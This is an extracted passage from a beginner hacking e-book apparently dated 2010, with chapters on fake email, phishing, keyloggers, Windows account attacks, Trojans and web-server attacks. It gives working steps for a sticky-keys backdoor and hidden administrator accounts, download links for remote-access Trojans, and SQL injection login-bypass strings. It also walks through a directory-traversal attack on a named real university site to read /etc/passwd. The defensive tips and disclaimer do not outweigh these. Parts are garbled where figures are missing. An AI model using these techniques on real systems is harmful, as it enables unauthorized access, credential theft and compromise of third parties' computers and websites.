Emails by programming Fake headers i.e.” From: To: Subject:”
 There are so many websites available on the Internet which already contains these mail sending scripts. Most of
them provide the free service.
 Some of Free Anonymous Email Websites are:






Mail.Anonymizer.name (Send attachments as well)
FakEmailer.net
FakEmailer.info
Deadfake.com
www.hackingtech.co.tv/index/0-93

www.hackingtech.co.tv

Page 21

Hacking For Beginners – Manthan Desai

2010

PHP Mail sending script

Consequences of fake emails
 Email from your Email ID to any Security Agency declaring a Bomb Blast can make you spend rest of your life
behind the iron bars.
 Email from you to your Girl friend or Boy friend can cause Break-Up and set your friend’s to be in relationship.
 Email from your Email ID to your Boss carrying your Resignation Letter or anything else which you can think of.
 There can be so many cases drafted on Fake Emails.

Proving a fake Email
 Every Email carry Header which has information about the Travelling Path of the Email
 Check the Header and Get the location from the Email was Sent
 Check if the Email was sent from any other Email Server or Website
 Headers carry the name of the Website on which the mail sending script was used.

Email Bombing
 Email Bombing is sending an Email message to a particular address at a specific victim site. In many instances, the
messages will be large and constructed from meaningless data in an effort to consume additional system and
network resources. Multiple accounts at the target site may be abused, increasing the denial of service impact.

www.hackingtech.co.tv

Page 22

Hacking For Beginners – Manthan Desai

2010

Email Spamming
 Email Spamming is a variant of Bombing; it refers to sending Email to hundreds or thousands of users (or to lists
that expand to that many users). Email spamming can be made worse if recipients reply to the Email, causing all
the original addressees to receive the reply. It may also occur innocently, as a result of sending a message to
mailing lists and not realizing that the list explodes to thousands of users, or as a result of a responder message
(such as vacation(1)) that is setup incorrectly.

Email Password Hacking
 There is no specified attack available just to hack the password of Email accounts. Also, it is not so easy to
compromise the Email server like Yahoo, Gmail, etc.
 Email Password Hacking can be accomplished via some of the Client Side Attacks. We try to compromise the user
and get the password of the Email account before it reaches the desired Email server.
 We will cover many attacks by the workshop flows, but at this time we will talk about the very famous 'Phishing
attack'.

Phishing
 The act of sending an Email to a user falsely claiming to be an established legitimate enterprise in an attempt to
scam the user into surrendering private information that will be used for identity theft.
 The Email directs the user to visit a Web site where they are asked to update personal information, such as
passwords and credit card, social security, and bank account numbers, that the legitimate organization already
has. The Web site, however, is Bogus and set up only to steal the User’s information.

www.hackingtech.co.tv

Page 23

Hacking For Beginners – Manthan Desai

2010

Phishing scams could be
 Emails inviting you to join a Social Group, asking you to Login using your Username and Password.
 Email saying that Your Bank Account is locked and Sign in to Your Account to Unlock IT.
 Emails containing some Information of your Interest and asking you to Login to Your Account.
 Any Email carrying a Link to Click and asking you to Login.

Prevention against Phishing
 Read all the Email Carefully and Check if the Sender is Original
 Watch the Link Carefully before Clicking
 Always check the URL in the Browser before Signing IN to your Account
 Always Login to Your Accounts after opening the Trusted Websites, not by Clicking in any other Website or Email.

Email Tracing
 Tracing an Email means locating the Original Sender and Getting to know the IP address of the network from
which the Email was actually generated.
 To get the information about the sender of the Email we first must know the structure of the Email.
 As we all know the travelling of the Email. Each message has exactly one header, which is structured into fields.
Each field has a name and a value. Header of the Email contains all the valuable information about the path and
the original sender of the Email.

www.hackingtech.co.tv

Page 24

Hacking For Beginners – Manthan Desai

2010

 For tracing an email Address You need to go to your email account and log into the email which you want to trace
after that you have to find the header file of the email which is received by you.
 You will get Source code of the email.
 For Rediffmail-

 For Yahoo mail-


For Gmail-

Now see from bottom to top and the first IP address you find is the IP address of the sender.
Once you have the IP Address of the sender, go to the URL www.ip2location.com and Find the location of the IP Address.

www.hackingtech.co.tv

Page 25

Hacking For Beginners – Manthan Desai

2010

And you are done we have traced the person.....
And from where he had sent the email.

Keystroke loggers
 Keystroke Loggers (or Key loggers) intercept the Target’s keystrokes and either saves them in a file to be read
later, or transmit them to a predetermined destination accessible to the Hacker.
 Since Keystroke logging programs record every keystroke typed in via the keyboard, they can capture a wide
variety of confidential information, including passwords, credit card numbers, and private Email correspondence,
names, addresses, and phone numbers.

Types of keyloggers
 Hardware keylogger
 Software keylogger

Some Famous keyloggers
 Actual Spy
 Perfect Keylogger
 Family Keylogger
 Home Keylogger
 Soft Central Keylogger
 Adramax Keylogger

www.hackingtech.co.tv

Page 26

Hacking For Beginners – Manthan Desai

2010

Securing your Email account


Always configure a Secondary Email Address for the recovery purpose.



Properly configure the Security Question and Answer in the Email Account.



Do Not Open Emails from strangers.



Do Not Use any other’s computer to check your Email.



Take Care of the Phishing Links.



Do not reveal your Passwords to your Friends or Mates.

www.hackingtech.co.tv

Page 27

Hacking For Beginners – Manthan Desai

2010

3. Windows Hacking and Security
Security Architecture of Windows
 There are three components of Windows Security:
 LSA (Local Security Authority)
 SAM (Security Account Manager)
 SRM (Security Reference Monitor)

LSA (Local Security Authority)
 LSA is the Central Part of NT Security. It is also known as Security Subsystem. The Local Security Authority or LSA is
a key component of the logon process in both Windows NT and Windows 2000. In Windows 2000, the LSA is
responsible for validating users for both local and remote logons. The LSA also maintains the local security policy.
 During the local logon to a machine, a person enters his name and password to the logon dialog. This information
is passed to the LSA, which then calls the appropriate authentication package. The password is sent in a nonreversible secret key format using a one-way hash function. The LSA then queries the SAM database for the User’s
account information. If the key provided matches the one in the SAM, the SAM returns the users SID and the SIDs
of any groups the user belongs to. The LSA then uses these SIDs to generate the security access token.

www.hackingtech.co.tv

Page 28

Hacking For Beginners – Manthan Desai

2010

SAM (Security Account Manager)
 The Security Accounts Manager is a database in the Windows operating system (OS) that contains user names and
passwords. SAM is part of the registry and can be found on the hard disk.
 This service is responsible for making the connection to the SAM database (Contains available user-accounts and
groups). The SAM database can either be placed in the local registry or in the Active Directory (If available). When
the service has made the connection it announces to the system that the SAM-database is available, so other
services can start accessing the SAM-database.
 In the SAM, each user account can be assigned a Windows password which is in encrypted form. If someone
attempts to log on to the system and the user name and associated passwords match an entry in the SAM, a
sequence of events takes place ultimately allowing that person access to the system. If the user name or
passwords do not properly match any entry in the SAM, an error message is returned requesting that the
information be entered again.
 When you make a New User Account with a Password, it gets stored in the SAM File.
 Windows Security Files are located at
“C:\Windows\System32\Config\SAM”
 The moment operating system starts, the SAM file becomes inaccessible.

SRM (Security Reference Monitor)
 The Security Reference Monitor is a security architecture component that is used to control user requests to
access objects in the system. The SRM enforces the access validation and audit generation. Windows NT forbids
the direct access to objects. Any access to an object must first be validated by the SRM. For example, if a user
wants to access a specific file the SRM will be used to validate the request. The Security Reference Monitor
enforces access validation and audit generation policy.
 The reference monitor verifies the nature of the request against a table of allowable access types for each process
on the system. For example, Windows 3.x and 9x operating systems were not built with a reference monitor,
whereas the Windows NT line, which also includes Windows 2000 and Windows XP, was designed with an entirely
different architecture and does contain a reference monitor.

Windows user account architecture
 User account passwords are contained in the SAM in the Hexadecimal Format called Hashes.
 Once the Passwords converted in Hashes, you cannot convert back to the Clear Text.

www.hackingtech.co.tv

Page 29

Hacking For Beginners – Manthan Desai

2010

Cracking Windows User Account password
 Passwords are Stored and Transmitted in an encrypted form called a Hash. When a User logs on to a system and
enters a password, a hash is generated and compared to a stored hash. If the entered and the stored hashes
match, the user is authenticated (This is called the Challenge/Response).
 Passwords may be cracked manually or with automated tools such as a Brute-force method or the Rainbow Table
attack.

www.hackingtech.co.tv

Page 30

Hacking For Beginners – Manthan Desai

2010

www.hackingtech.co.tv

Page 31

Hacking For Beginners – Manthan Desai

2010

 In this if we put the password and windows vey the password we entered on teen with the file in which the
password is stored of ours.
 This is stored in a file named SAM

 It is shown in the picture above.
 Now we need to attack this file.
 For this we need to open this file but it is not possible as it is in process by the computer from its start up.
 And we suppose that the file opens then also we cannot see the passwords stored in it because they are
encrypted in the form of HASHES.
 And they and not be decrypted. Ad it is the hardest encryption done and decryption is not easy.
 But it is not impossible.
 We Need a Bootable CD named Hiren boot and Can Crack the Password.
 But Another Attack –
 Go to C:\Windows\System32\
 Copy the File cmd.exe to desktop and rename it to sethc.exe
 Now copy the file sethc.exe to C:\Windows\System32\ and will give an error, give that error YES. And replace it.
 Now You Are Done.
 Now At the Login Screen Press SHIFT Key 5 times and a beep Sound will come and Command prompt will open.
 In the command prompt type “explorer.exe” and Hit Enter a desktop will open in the tab mode.Use The Computer
Unlimited….

www.hackingtech.co.tv

Page 32

Hacking For Beginners – Manthan Desai

2010

Windows User Account Attack
1) To See all the account present on the computer
Net user
2) To change the password without knowing the old password.

3) To make a new user account.

4) To Delete the Existing user account.

Net user administrator *

Net user hacker /add

Net user hacker /delete

5) To make a hidden account in computer.***** { Works only in windows XP}

Net user hacker /add

Net localgroup users hacker /delete
 Note: - To login to this Hidden Account Press
 Ctrl + Alt + Delete + Delete
 And give the hidden user name in the user name field and password respectively.
 And the above are to be executed in command prompt. And the hacker indicates the respective user
name. Or the name of the account.

Counter Measures of Windows Attack.
1)

Change the Boot Sequence in the BIOS setup. Keep Hard Disk As 1st boot drive, then CD/DVD drive as 2nd
boot device & Removable port as the 3rd boot device.

2)

Put the BIOS password.

3)

Put the physical Lock behind the cabinet of PC. (Put Lock).

www.hackingtech.co.tv

Page 33

Hacking For Beginners – Manthan Desai

2010

To hide a file behind an image.
To hide a file behind a image file which means that if any one opens that image he will see the image only but if you open
in a special way then you can open the hidden file behind the image.
So to hide the file behind a image open CMD.exe

1) Select an image to be used for hiding file behind the image.
2) Now select a file to hide behind the image and make it in .RAR format. With the help of the WinRAR.
3) And most important is that paste both the files on desktop and run the following command on the command
prompt.
4) And then type the following command.

cd desktop

Copy /b imagename.jpg + filename.rar finalnameofimage.jpg

www.hackingtech.co.tv

Page 34

Hacking For Beginners – Manthan Desai

2010

And then hit enter the file will be created with the file final file name of the image.

Make a Private Folder
To make Private folder which nobody can open, delete, see properties, rename.
To make such a folder you need to make a folder with any name. For example- manthan on desktop.
And then open command prompt and then type the following command on the screen.

www.hackingtech.co.tv

Page 35

Hacking For Beginners – Manthan Desai

2010

Then type

Cd desktop

Cacls folder /E /P everyone:n

And hit enter the folder is locked
To open the folder just: replace with: f
And the folder is opened

www.hackingtech.co.tv

Page 36

Hacking For Beginners – Manthan Desai

2010

To run net user in Vista and Windows 7
 Go to Start > Type CMD in Search Box
 Right Click on CMD Icon and choose the option “Run as administrator”

www.hackingtech.co.tv

Page 37

Hacking For Beginners – Manthan Desai

2010

Brute Force Attack
 Brute force password guessing is just what it sounds like: trying a random approach by attempting different
passwords and hoping that one works. Some logic can be applied by trying passwords related to the person’s
name, job title, hobbies, or other similar items.
 Brute force randomly generates passwords and their associated hashes.
 There are tools available to perform the Brute force attack on the Windows SAM File. Most famous tool available
for Windows User Account Password Brute forcing is Cain and Abel. Another one is Sam Inside.

www.hackingtech.co.tv

Page 38

Hacking For Beginners – Manthan Desai

2010

Rainbow Table Attack
 Rainbow Table Attack trades off the time-consuming process of creating all possible password hashes by building
a table of hashes in advance of the actual crack. After this process is finished, the table, called a rainbow table, is
used to crack the password, which will then normally only take a few seconds.
 We can use the Live CD to crack the Windows password using the Rainbow table attack technique. Most famous
Live CD available is Oph Crack.

Oph Crack

www.hackingtech.co.tv

Page 39

Hacking For Beginners – Manthan Desai

2010

Counter Measures for Windows Attack

Creating Backdoors for windows
Creating Hidden Accounts.
 Use the Net User Command to Create a Hidden Account in Windows: Net User Hidden user /add
 And then use the Command Net Local group Users Hidden user /delete
 Log Off the Current User, Press ALT+CTRL+DEL combination 2 times to get the ‘Classic Windows User Login
Screen’
 Type the Username as Hidden user and Hit Enter, you will get Logged In
“This trick will not work in Windows Vista and Windows 7”.

Sticky Keys Backdoor.
 Sticky Keys application can be used as the Backdoor in Windows Operating System.
 Command Prompt file ‘CMD.EXE’ can be renamed to ‘SETHC.EXE’ in C:\Windows\System32 Folder.
 After this one can hit the Shift Key 5 times on the User Login Screen and will get the Command Prompt right
there. Net User command can be used to modify User Accounts thereafter.
www.hackingtech.co.tv

Page 40

Hacking For Beginners – Manthan Desai

2010

Change the Boot Sequence
 You should change the boot sequence in the BIOS so that your computer is not configured to boot from the CD
first. It should be configured as Hard Disk as the First Boot Device.
 This will protect your computer from the attacking Live CDs.
 You may press Del or F2 Key at the System Boot to go to the BIOS Setup.

www.hackingtech.co.tv

Page 41

Hacking For Beginners – Manthan Desai

2010

4. Trojans in Brief

This tutorial will include the understanding concept of Trojan, Dangers created by Trojans, how they can come to your
computer, how do they destroy you and your data. How many types of Trojans are there, how Trojans are attached
behind other applications and finally the most important, Detection of Trojan on your computer and their prevention
to safeguard your system and your data.

Knowing the Trojan
A Trojan is a malicious program misguided as some very important application. Trojans comes on the backs of other
programs and are installed on a system without the User’s knowledge. Trojans are malicious pieces of code used to install
hacking software on a target system and aid the Hacker in gaining and retaining access to that system. Trojans and their
counterparts are important pieces of the Hacker’s tool-kit.
Trojans is a program that appears to perform a desirable and necessary function but that, because of hidden and
unauthorized code, performs functions unknown and unwanted by the user. These downloads are fake programs which
seems to be a original application, it may be a software like monitoring program, system virus scanners, registry cleaners,
computer system optimizers, or they may be applications like songs, pictures, screen savers, videos, etc..

www.hackingtech.co.tv

Page 42

Hacking For Beginners – Manthan Desai

2010



You just need to execute that software or application, you will find the application running or you might get an
error, but once executed the Trojan will install itself in the system automatically.



Once installed on a system, the program then has system-level access on the target system, where it can
be destructive and insidious. They can cause data theft and loss, and system crashes or slowdowns; they can
also be used as launching points for other attacks against your system.



Many Trojans are used to manipulate files on the victim computer, manage processes, remotely run commands,
intercept keystrokes, watch screen images, and restart or shut down infected hosts.

Different Types of Trojans
1. Remote Administration Trojans: There are Remote Access Trojans which are used to control the Victim’s computer
remotely.

2. Data Stealing Trojans: Then there are Data Sending Trojans which compromised the data in the Victim’s computer, then
find the data on the computer and send it to the attacker automatically.

3. Security Disabler Trojan: There are Security software disablers Trojans which are used to stop antivirus software
running in the Victim’s computer.
In most of the cases the Trojan comes as a Remote Administration Tools which turns the Victim’s computer into a server
which can controlled remotely. Once the Remote Access Trojan is installed in the system, the attacker can connect to that
computer and can control it.

Some famous Trojans
 Beast

Download - http://u.to/ZSSk

www.hackingtech.co.tv

Page 43

Hacking For Beginners – Manthan Desai

2010

 Back Orifice

Download - http://u.to/hCSk

 Net Bus

Download it from – http://u.to/1SSk

 Pro Rat

Download it from – http://u.to/xCSk
www.hackingtech.co.tv

Page 44

Hacking For Beginners – Manthan Desai

2010

 Girl Friend

Download it from – http://u.to/AyWk

 Sub Seven

Download it from – http://u.to/FCWk

Components of Trojans
Trojan consists of two parts:
1. A Client component
2. A Server component.
One which resides on the Victim’s computer is called the server part of the Trojan and the one which is on the attacker’s
computer is called the client Part of the Trojan. For the Trojan to function as a backdoor, the server Component has to be
installed on the Victim’s machine.

www.hackingtech.co.tv

Page 45

Hacking For Beginners – Manthan Desai

2010

1. Server component of the Trojan opens a port in the Victim’s computer and invites the Attacker to connect and
administrate the computer.
2. Client component of the Trojan tries to connect the Victim’s computer and administrate the computer without the
permission of the User.

Wrapper

A Wrapper is a program used to combine two or more executables into a single packaged program. The wrapper attaches
a harmless executable, like a game, to a Trojan’s payload, the executable code that does the real damage, so that it
appears to be a harmless file.
Hackers use Wrappers to bind the Server part of the Software behind any image or any other file. Wrappers are also
known as Binders.
Generally, games or other animated installations are used as wrappers because they entertain the user while the Trojan in
being installed. This way, the user doesn’t notice the slower processing that occurs while the Trojan is being installed on
the system—the user only sees the legitimate application being installed.

www.hackingtech.co.tv

Page 46

Hacking For Beginners – Manthan Desai

2010

Mode of Transmission for Trojans

Reverse Connection in Trojans
Reverse-connecting Trojans let an attacker access a machine on the internal network from the outside. The Hacker can
install a simple Trojan program on a system on the internal network. On a regular basis (usually every 60 seconds), the
internal server tries to access the external master system to pick up commands. If the attacker has typed something into
the master system, this command is retrieved and executed on the internal system. Reverse WWW shell uses standard
HTTP. It’s dangerous because it’s difficult to detect - it looks like a client is browsing the Web from the internal network

Now the final part ….

Detection and Removal of Trojans
The unusual behavior of system is usually an indication of a Trojan attack. Actions/symptoms such as,
• Programs starting and running without the User’s initiation.
• CD-ROM drawers Opening or Closing.
• Wallpaper, background, or screen saver settings changing by themselves.
• Screen display flipping upside down.
• Browser program opening strange or unexpected websites
All above are indications of a Trojan attack. Any action that is suspicious or not initiated by the user can be an indication
of a Trojan attack.
One thing which you can do is to check the applications which are making network connections with other computers.
One of those applications will be a process started by the Server Trojan.
www.hackingtech.co.tv

Page 47

Hacking For Beginners – Manthan Desai

2010

You also can use the software named process explorer which monitors the processes executed on the computer with its
original name and the file name. As there are some Trojans who themselves change their name as per the system process
which runs on the computer and you cannot differentiate between the Trojan and the original system process in the task
manager processes tab, so you need PROCESS EXPLORER.

TCP (Transmission Control Protocol) view
• TCP View is a Windows program that will show you detailed listings of all TCP (Transmission Control Protocol) and UDP
(User Datagram Protocol) endpoints on your system, including the local and remote addresses and state of TCP
connections.
• On Windows NT, 2000, and XP, TCP View also reports the name of the process that owns the endpoint.
• Active connections will appear in Green Color. You can always Right Click on the check the properties of the application.
• Once you have got hold of the Trojan application, you can Kill the active connection and the running process and then
delete the physical application file. This will make you recover from the attack of Trojan.

Countermeasures for Trojan attacks
Most commercial antivirus programs have Anti-Trojan capabilities as well as spy ware detection and removal
functionality. These tools can automatically scan hard drives on startup to detect backdoor and Trojan programs before
they can cause damage. Once a system is infected, it’s more difficult to clean, but you can do so with commercially
available tools. It’s important to use commercial applications to clean a system instead of freeware tools, because many
freeware removal tools can further infect the system. In addition, port monitoring tools can identify ports that have been
opened or files that have changed.
The key to preventing Trojans and backdoors from being installed on a system is to not to install applications downloaded
from the Internet or open Email attachments from parties you don’t know. Many systems administrators don’t give users
the system permissions necessary to install programs on system for the very same reason.

www.hackingtech.co.tv

Page 48

Hacking For Beginners – Manthan Desai

2010

5. Attacks on Web servers and Security
Introduction to Web Servers
A Web Server is a program which is configured to serve Web Pages using the Hyper Text Transfer Protocol (HTTP).
• Served content usually is HTML documents and linked objects Images, Scripts, Text, etc.
• Web server has an IP address and possibly a domain name. For example, if you enter the URL
http://www.hackingtech.co.tv/mobile.html in your browser, this sends a request to the server whose domain name is
hackingtech.co.tv. The server then fetches the page named mobile.html and sends it to your browser.

Setting Up a Web Server
Any computer can be turned into a Web server by installing server software and connecting the machine to the Internet.
There are many Web server software applications available.
• Software to setup a Web Server:
– Apache
– IIS

The Basic Process: How Web servers work
Let's say that you are sitting at your computer, surfing the Web. So you type that URL into your browser and press enter.
• And magically, no matter where in the world that URL lives, the page pops up on your screen.
• Web browser forms a connection to a Web server, requests a page and receives it.

www.hackingtech.co.tv

Page 49

Hacking For Beginners – Manthan Desai

2010

Attacks on Web servers
• Web Ripping
• Google Hacking
• SQL Injection
• PHP Remote Code Execution
• Cross Site Scripting
• Directory Transversal Attacks

Web Ripping
• Web Ripping is finding and extracting pictures and other media files from specified website URLs and save them to your
hard drive.
• Web Ripping is the ability to copy the structure of a Web site to a local disk and obtain a complete profile of the site and
all its files and links.
• We can use Black Windows Web ripper for web ripping.

www.hackingtech.co.tv

Page 50

Hacking For Beginners – Manthan Desai

2010

Google Hacking
• As we all know, Google is a Search Engine.
• Google keeps snapshots of pages it has crawled that we can access via the Cached link on the search results page.

• Google hacking involves using Advance Search Operators in the Google search engine to locate specific strings of text
within search results. Some of the more popular examples are finding specific versions of Vulnerable Web Applications.
• You can look for the particular File types, Password files and Directories. Even you can find out the IP based CCTV
Cameras.

www.hackingtech.co.tv

Page 51

Hacking For Beginners – Manthan Desai

2010

Intitle: Search For the Text In The title of the websites

This Search will give you the List of all the websites with Title Hacking.

Site: To Narrow the Search of specific Website.

This Search will give you the List of all the web pages from the website hackingtech.co.tv

FileType: Searching for the files of specific type.

This Search will give you the List of all the website link containing the MS Word Document of the name hacking.

www.hackingtech.co.tv

Page 52

Hacking For Beginners – Manthan Desai

2010

To Find the CCTV all over the world.

This Search will give you the List of all the website links for the CCTV cameras over the World.
The More commands for the CCTV cameras Will be explained in the later part of the book.

Protecting Your Files from Google
• A robots.txt file restricts access to your site by search engine robots that crawls the web. These bots are automated, and
before access pages of a site, they check to see if a robots.txt file exists that prevents them from accessing certain pages.
• You need a robots.txt file only if your site includes content that you don't want search engines to catch. If you want
search engines to index everything in your site, you don't need a robots.txt file (not even an empty one).

Example of Simple ROBOT.txt file.

www.hackingtech.co.tv

Page 53

Hacking For Beginners – Manthan Desai

2010

Cross Site Scripting (XSS)

• Cross-Site Scripting (XSS) is a type of computer security vulnerability typically found in web applications which allow
code injection by malicious web users into the web pages viewed by other users. Examples of such code include HTML
code and client-side scripts.
• An exploited Cross-Site Scripting vulnerability can be used by attackers to bypass access controls such as the same origin
policy. Recently, vulnerabilities of this kind have been exploited to craft powerful phishing attacks and browser exploits.
Cross site scripting was originally referred to as CSS, although this usage has been largely discontinued.
The ratio of XSS attack is very large as compared to other attacks performed.

Example of a Cross Site Scripting attack
As a simple example, imagine a search engine site which is open to an XSS attack. The query screen of the search engine is
a simple single field form with a submit button. Whereas the results page, displays both the matched results and the text
you are looking for.

Example:
Search Results for "XSS Vulnerability"

www.hackingtech.co.tv

Page 54

Hacking For Beginners – Manthan Desai

2010

To be able to bookmark pages, search engines generally leave the entered variables in the URL address. In this case the
URL would look like:
http://test.searchengine.com/search.php?q=XSS%20
Vulnerability
Next we try to send the following query to the search engine:

By submitting the query to search.php, it is encoded and the resulting URL would be something like:
http://test.searchengine.com/search.php?q=%3Cscript%3
Ealert%28%91This%20is%20an%20XSS%20Vulnerability%92%2
9%3C%2Fscript%3E
Upon loading the results page, the test search engine would probably display no results for the search but it will display a
JavaScript alert which was injected into the page by using the XSS vulnerability.
How to check for Cross site scripting vulnerabilities
To check for Cross site scripting vulnerabilities, use a Web Vulnerability Scanner. A Web Vulnerability Scanner crawl your
entire website and automatically checks for Cross Site Scripting vulnerabilities. It will indicate which URLs/scripts are
vulnerable to these attacks so that you can fix the vulnerability easily. Besides Cross site scripting vulnerabilities a web
application scanner will also check for SQL injection & other web vulnerabilities.

You Will Be explained more about this attack in the later part of the book in website hacking category..

Directory Traversal Attack

• Directory traversal attacks allow malicious users to literally "traverse" the directory and bypass the access control list to
gain access to restricted files and even manipulate data.
• These attacks are HTTP exploits that begin with a simple GET or other type of HTTP request from a dynamic page. If your
Web site is vulnerable, and chances are it is, the server will return with a file that hasn't been properly validated. A
malicious user will then send a request for a file one or more directories up by adding one or more "../" directives to the
string. Each "../" instructs the page to "go up one directory."

www.hackingtech.co.tv

Page 55

Hacking For Beginners – Manthan Desai

2010

Example of a directory traversal attack via web application code
In order to perform a directory traversal attack, all an attacker needs is a web browser and some knowledge on where to
blindly find any default files and directories on the system.
The following example will make clear everything
Visit this website vulnerable to directory transversal attack
http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=notification.php
This web server is running on UNIX like operating system. There is a directory 'etc' on unix/linux which contains
configuration files of programs that run on system. Some of the files are passwd, shadow, profile,sbin placed in 'etc'
directory.
The file etc/passwd contains the login names of users and even passwords too.
Lets try to access this file on web server by stepping out of the root directory. Carefully see the position of directories
placed on the web server.

We do not know the actual names and contents of directories except 'etc' which is default name , So I have marked them
as A,B,C,E or whatever.
We are in directory in F accessing the web pages of website.
Let’s type this in URL field and press enter
http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=etc/passwd
This will search the directory 'etc' in F. But obviously, there is nothing like this in F, so it will return nothing now type

http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../etc/passwd
www.hackingtech.co.tv

Page 56

Hacking For Beginners – Manthan Desai

2010

Now this will step up one directory (to directory E ) and look for 'etc' but again it will return nothing Now type
http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../../etc/passwd
Now this will step up two directories (to directory D) and look for 'etc' but again it will return nothing.
So by proceeding like this, we go for this URL
http://www.chitkara.edu.in/chitkara/chitkarauniversity.php?page=../../../../../etc/passwd
It takes us 5 directories up to the main drive and then to 'etc' directory and show us contents of 'passwd' file.
To understand the contents of 'passwd' file, visit
http://www.cyberciti.biz/faq/understanding-etcpasswd-file-format/

You can also view etc/profile; etc/services and many others files like backup files which may contain sensitive data. Some
files like etc/shadow may not be accessible because they are accessible only by privileged users.

If proc/self/environ would be accessible; you might upload a shell on server which is called as Local File Inclusion.

Database Servers
• The Database server is a key component in a client/server environment. Specially the Websites which have a User Login
Architecture.
• Database Server holds the Database Management System (DBMS) and the Data Records. Upon requests from the client
machines, it searches the database for selected records and passes them back over the network.
• Software to setup a Database Server:
– Oracle
– SQL Server
– MySql
www.hackingtech.co.tv

Page 57

Hacking For Beginners – Manthan Desai

2010

Login Process on the websites
Let's say that you are sitting at your computer, surfing the Web, and you open a Website to Login to your account.
1: You type in the Login Username and Password and clicks on Sign in and you get in to your account.
2: Web Server receives the Username and Password and forwards it to the Database server.
3: Database server receives the Username and Password from the Web Server and checks its tables for that Username
and Password and sends the result of the authentication to the Web Server.
4: Web Server receives the Authentication result from the Database Server and on the basis of the result, redirects the
User to the proper Webpage.
• If the Authentication is True, User gets signed in to the Account, and if it fails User is asked to Sign In again.

SQL Injection

www.hackingtech.co.tv

Page 58

Hacking For Beginners – Manthan Desai

2010

• A SQL injection attack exploits vulnerabilities in a web server database that allow the attacker to gain access to the
database and read, modify, or delete information.
• An example of a SQL injection attack is making the condition true by giving the identical value to a web page. These
values can be inserted into a login as follows:
• Login: 1' or '1'='1 and Password= 1' or '1'='1
• Login: 1' or '1'='1';-• When the Username argument is evaluated, ‘1’=’1’ will assess to TRUE, and an authentic username will be returned.
The Systametic Execution of SQL injection is explained in the image below.

Input validation on the SQL Injection
• There are measures that can be applied to mitigate SQL injection attacks.
• Web developer can check whether some suspicious characters are sent from the Login Page like ‘, “, ;, -- , etc
• Always store the Passwords in the Database server in the Encrypted Form.
• Use of these practices does not guarantee that SQL injection can be completely eliminated, but they will make it more
difficult for Hackers to conduct these attacks.

www.hackingtech.co.tv

Page 59

Hacking For Beginners – Manthan Desai

2010

Input Validation can help prevent

PHP Injection: Placing PHP backdoors
• This attack provides the means for a Hacker to execute his or her system level code on a target web server. With this
capability, an attacker can compromise the web server and access files with the same rights as the server system
software.
• For example, a number of PHP programs contain a vulnerability that could enable the transfer of unchecked user
commands to the eval ( ) function.

www.hackingtech.co.tv

Page 60

Hacking For Beginners – Manthan Desai

2010

PHP Eval() function

PHP Remote code Execution

www.hackingtech.co.tv

Page 61

Hacking For Beginners – Manthan Desai

2010

Directory Access controls
• Htaccess files provide a way to make configuration changes on a per-directory basis.
• Htaccess files should be used in a case where the content providers need to make configuration changes to the server
on a per-directory basis, but do not have root access on the server system.

Configuring .htacess

How Attackers Hide Them While Attacking
Proxy Servers
• A Proxy Server is a server that acts as an intermediary between a workstation user and the Internet so that the
enterprise can ensure security, administrative control and caching service.
• Hackers generally use the Proxy server on the Internet to make their Identity invisible to the target.
• So They hide their IP address by using the proxy server and make an anonymous brousing over internet.
• Please See the diagram for better understanding.

www.hackingtech.co.tv

Page 62

Hacking For Beginners – Manthan Desai

2010

Types of Proxy Servers
• Web Proxy
• Anonymous Proxy Server

Web Proxy Server
• A Proxy site is a web page which allows a user to browse other web sites.
• If an Attacker finds that he is blocked from accessing a Website, he will use any of web proxy sites to get bypass the
block.

www.hackingtech.co.tv

Page 63

Hacking For Beginners – Manthan Desai

2010

Anonymous Proxy Server
• An Anonymous proxy is a proxy server designed to protect the privacy and anonymity of web browsers from web site
operators.
• In Anonymous Proxy, you get an IP Address and a Port Number. You have to configure that IP and Port with your Web
Browser and you will be surfing anonymously.

“Do not use this hack trick in any criminal activities and please do not destroy any ones account
this is for educational purpose only”.

www.hackingtech.co.tv

Page 64

Hacking For Beginners – Manthan Desai

2010

6. Wireless hacking

Wireless network refers to any type of computer network which is wireless, and is commonly associated with a network
whose interconnections between nodes e.g. Laptops, Desktops, Printers etc is implemented without the use of wires.
The popularity in Wireless Technology is driven by two major factors: convenience and cost. A Wireless Local
Area Network (WLAN) allows workers to access digital resources without being locked to their desks. Mobile users can
connect to a Local Area Network (LAN) through a Wireless (Radio) connection.
Demand for wireless access to LANs is fueled by the growth of mobile computing devices, such as laptops and personal
digital assistants, and by users’ desire for continuous network connections without physically having to plug into wired
systems.
For the same reason that WLANs are convenient, their open broadcast infrastructure, they are extremely vulnerable to
intrusion and exploitation. Adding a wireless network to an organization’s internal LAN may open a backdoor to the
existing wired network.
The IEEE 802.11 standard refers to a family of specifications for wireless local area networks (WLANs) developed by a
working group of the Institute of Electrical and Electronics Engineers (IEEE). This standards effort began in 1989, with the
focus on deployment in large enterprise networking environments, effectively a wireless equivalent to Ethernet. The IEEE
accepted the specification in 1997. Standard 802.11 specifies an over-the-air interface between a mobile device wireless
client and a base station or between two mobile device wireless clients.

Wireless Standards

www.hackingtech.co.tv

Page 65

Hacking For Beginners – Manthan Desai

2010

• WAP (Wireless Access Point):
Wireless Access Point is the point from where the Wireless network are generated. Like the Wireless Routers or
Switches.

•SSID (Service Set Identifier):
An SSID is the name of a wireless local area network (WLAN). All wireless devices on a WLAN must employ the same
SSID in order to communicate with each other. SSID is also known as ESSID (Extended Service Set Identifier).

• BSSID (Basic Service Set Identifier):
A BSSID is the MAC Address (Media Access Control) or Physical Address of the Wireless Access Point or the Wireles
Router. This is a unique 48 bit key provided by the manufacturer of the device. It can be in the form of Hexadecimal
i.e. 0-9 , A-F.
E.g. 00:A1:CB:12:54:9F

• For checking your card’s MAC Address:
Start > Run > CMD
Write “getmac” in Command Prompt.

• Beacons:
These are the Wireless Packets which are broadcasted to maintain the connectivity with the Wireless Access
Point and Client systems. The Wireless Access point broadcasts beacon frames from time to time to check
connectivity with the systems.
• Channel:
It is the frequency at with the Wireless Signal travels through air.
• Data Packets:
These are the packets which sent and received for the transfer of data between Wireless Access Point and
Client systems. All the data communicated between two Computers travels in the form of Data Packets.
• Data Packets:
These are the packets which sent and received for the transfer of data between Wireless Access Point and
Client systems. All the data communicated between two Computers travels in the form of Data Packets.

www.hackingtech.co.tv

Page 66

Hacking For Beginners – Manthan Desai

2010

Services provided by Wireless Networks

• Association:
